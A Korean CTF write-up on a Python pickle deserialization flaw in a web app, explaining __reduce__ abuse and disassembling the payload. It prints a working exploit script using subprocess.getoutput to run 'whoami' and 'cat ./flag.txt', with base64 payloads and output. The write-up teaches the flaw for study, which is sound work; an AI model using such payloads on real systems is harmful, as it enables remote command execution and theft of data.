web-deserialize-python

소스코드

app.py

  • 이번 문제에서 주어진 소스코드는 app.py 1개 파일로 구성되었다.
    • (1) 인덱스(/) 경로로 이동하면 index.html 파일을 화면에 보여준다.
    • (2) /create_session 경로 접근 시에는 HTTP 메소드에 따라 결과가 달라진다.
    • (3) create_session(), check_session() 함수를 보면 pickle 모듈을 이용하여 데이터 직렬화/역직렬화를 수행하고 있다. 여기서 직렬화(Serialization)란 객체(object)나 데이터 구조를 파일이나 네트워크로 전송 가능한 바이트 스트림 형태로 변환하는 과정을 말한다. 이 때 일부 문자들은 제대로 인식되지 않는 경우가 있기 때문에, 이를 방지하기 위해 base64로 인코딩, 디코딩하여 사용하는 것이 일반적이다.
      • pickle 모듈은 dump, dumps, load, loads 4가지 함수를 제공하는데, 이는 직렬화/역직렬화 기능을 수행한다.

  • 역직렬화 취약점이란 공격자에 의해 서버로 전달된 직렬화 데이터(악성 페이로드가 담긴)가 역직렬화 될 때, 삽입된 페이로드가 원격지에서 실행가능한 것을 말한다.
  • 위 코드에서는 pickle.dumps(info) 로 직렬화된 데이터가 pickle.loads(...)에 의해 역직렬화 되고, 이 값(info)이 브라우저에 전달되어 렌더링 되는 구조를 띤다. 따라서, 해당 취약점을 악용하면 info 변수에 담긴 데이터가 check_session.html 파일에 렌더링 될 때 임의의 코드를 실행시킬 수 있다.
    • pickle 모듈에는 __reduce__ 함수가 존재하는데, 이 함수는 직렬화 된 계층 구조를 unpickling 할 때 객체를 재구성하는 것에 대한 tuple을 반환한다.
    • pickle 모듈의 역직렬화 과정에서는 __reduce__() 함수가 반환한 값을 기반으로 객체를 복원하는데, 이 메소드를 오버라이딩해서 (호출 가능한 함수, 그 객체에 전달할 인자) 형태의 튜플을 리턴(반환)하도록 하면 역직렬화 시 해당 함수가 실제로 호출된다.
    • 공식 문서에서는 pickle 모듈을 사용하여 unpickling 을 수행할 때, 임의의 코드가 실행될 수 있음을 고지하고 있다.

EXPLOIT

  • 공격 과정은 다음과 같다.
    • (1) 데이터 역직렬화 시 실행할 페이로드를 생성한다.
      • __reduce__ 함수 오버라이딩을 위해 이 부분은 로컬 환경에서 진행했다.
    • (2) 생성된 세션 값을 /check_session 에서 확인하여 RCE 실행을 유도한다.

  • 윈도우 로컬 환경에서 테스트를 진행한 결과는 아래와 같다.
  • pickle 모듈의 __reduce__ 함수를 오버라이딩 하여 리턴 값을 (역직렬화 시 호출할 함수, 그 함수에 넘길 인자 튜플) 형식으로 지정하면 역직렬화 시 return (callable, args) 형태로 사용된다.
import pickle, base64, subprocess
 
class Exploit:
    def __reduce__(self):
        return (subprocess.getoutput, ("whoami",))
 
if __name__ == "__main__":
    data = {"name": Exploit()}
    payload = base64.b64encode(pickle.dumps(data)).decode('utf8')
    print(f'페이로드: {payload}\n페이로드 실행결과: {pickle.loads(base64.b64decode(payload))}')
    
[ . . . ]
 
PS C:\Users\dkssudgktpdy\Downloads\85f040dd-4095-4eb7-b5e3-cc1f142db111> python .\exploit.py
페이로드: gAN9cQBYBAAAAG5hbWVxAWNzdWJwcm9jZXNzCmdldG91dHB1dApxAlgGAAAAd2hvYW1pcQOFcQRScQVzLg==
페이로드 실행결과: {'name': 'dkssudgktpdy\\dkssudgktpdy'}

  • 운영체제 명령어가 내 로컬 환경에서 정상적으로 실행되는 것을 확인했으니 이제 대상 호스트에서 RCE를 진행해보자.
  • 공격에 사용한 전체 코드는 아래와 같다.
    • (이번에는 pickle.dumps 로 실행할 값만 추출하고, 그 값을 /check_session 에 전달했다.)
import pickle, base64, subprocess
 
class Exploit:
    def __reduce__(self):
        return (subprocess.getoutput, ("cat ./flag.txt",))
 
if __name__ == "__main__":
    data = {"name": Exploit()}
    payload = base64.b64encode(pickle.dumps(data)).decode('utf8')
    print(f'페이로드: {payload}\n페이로드 실행결과: {pickle.loads(base64.b64decode(payload))}')
    
[ . . . ]
 
PS C:\Users\dkssudgktpdy\Downloads\85f040dd-4095-4eb7-b5e3-cc1f142db111> python .\exploit.py
페이로드: gAN9cQBYBAAAAG5hbWVxAWNzdWJwcm9jZXNzCmdldG91dHB1dApxAlgOAAAAY2F0IC4vZmxhZy50eHRxA4VxBFJxBXMu

  • 쨘, RCE를 통해 플래그 정보를 확인할 수 있었다.

번외

  • 이번 문제는 pickle.dumps 를 사용하여 직렬화 된 데이터를 다시 역직렬화 할 때 삽입된 운영체제 명령어를 원격지에서 실행하는 것이 포인트였다. 그럼 직렬화 된 데이터가 어떤 구조로 이뤄지는지는 어떻게 확인할 수 있을까?
  • 이는 pickletools.dis를 통해 pickle 모듈로 직렬화 된 값을 디스어셈블 하면 확인할 수 있다.
    • \x80 PROTO 3: pickle 프로토콜 버전 3 사용
    • } EMPTY_DICT: 빈 딕셔너리 {} 를 스택에 push
    • BININPUT, BINUNICODE: 입력된 값의 인덱스 번호와 저장할 값을 의미한다.
    • c GLOBAL 'subprocess getoutput': GLOBAL opcode는 "모듈 이름" + "공백" + "객체 이름" 형식의 문자열을 받음
      • 여기서는 subprocess getoutput 에 해당하며, 내부적으로는 import subprocess; obj=subprocess.getoutput 이다.
    • \x85 TUPLE1: 스택 맨 위의 하나를 꺼내서, 그걸 원소 1개짜리 튜플로 감싼 뒤 다시 push
      • "cat ./flag.txt"("cat ./flag.txt",)
    • q BINPUT 4: 그 튜플을 4번째 인덱스에 저장
    • R REDUCE: 스택에서 위 2개를 pop (args = ("cat ./flag.txt",), func = subprocess.getoutput)
      • __reduce__ 함수의 리턴 값은 (callable, args) 구조이기 때문에 2개의 값이 pop 되는 것임.
    • q BINPUT 5: 스택에 subprocess.output("cat ./flag.txt") 결과를 push
      • [{}, "name", subprocess.getoutput, ("cat ./flag.txt",)] → [{}, "name", "DH{...}"]
    • s SETITEM: 스택에서 3개를 pop 하고 다시 그 딕셔너리({"name": FLAG_CONTENTS})를 스택에 push
    • . STOP: 역직렬화 종료, 현재 스택의 top을 최종 반환값으로 돌려줌.

🐛.. 🐛.. 🐛..


REFERENCE

  1. https://sunnie399.tistory.com/entry/python-deserialize-%EC%B7%A8%EC%95%BD%EC%A0%90-pickle
  2. https://rootable.tistory.com/entry/python-deserialize-vulnerability-in-pickle-module
  3. https://rushter.com/blog/pickle-serialization-internals/
  4. https://hg2lee.tistory.com/entry/DeserializeVulnability-for-PythonPickle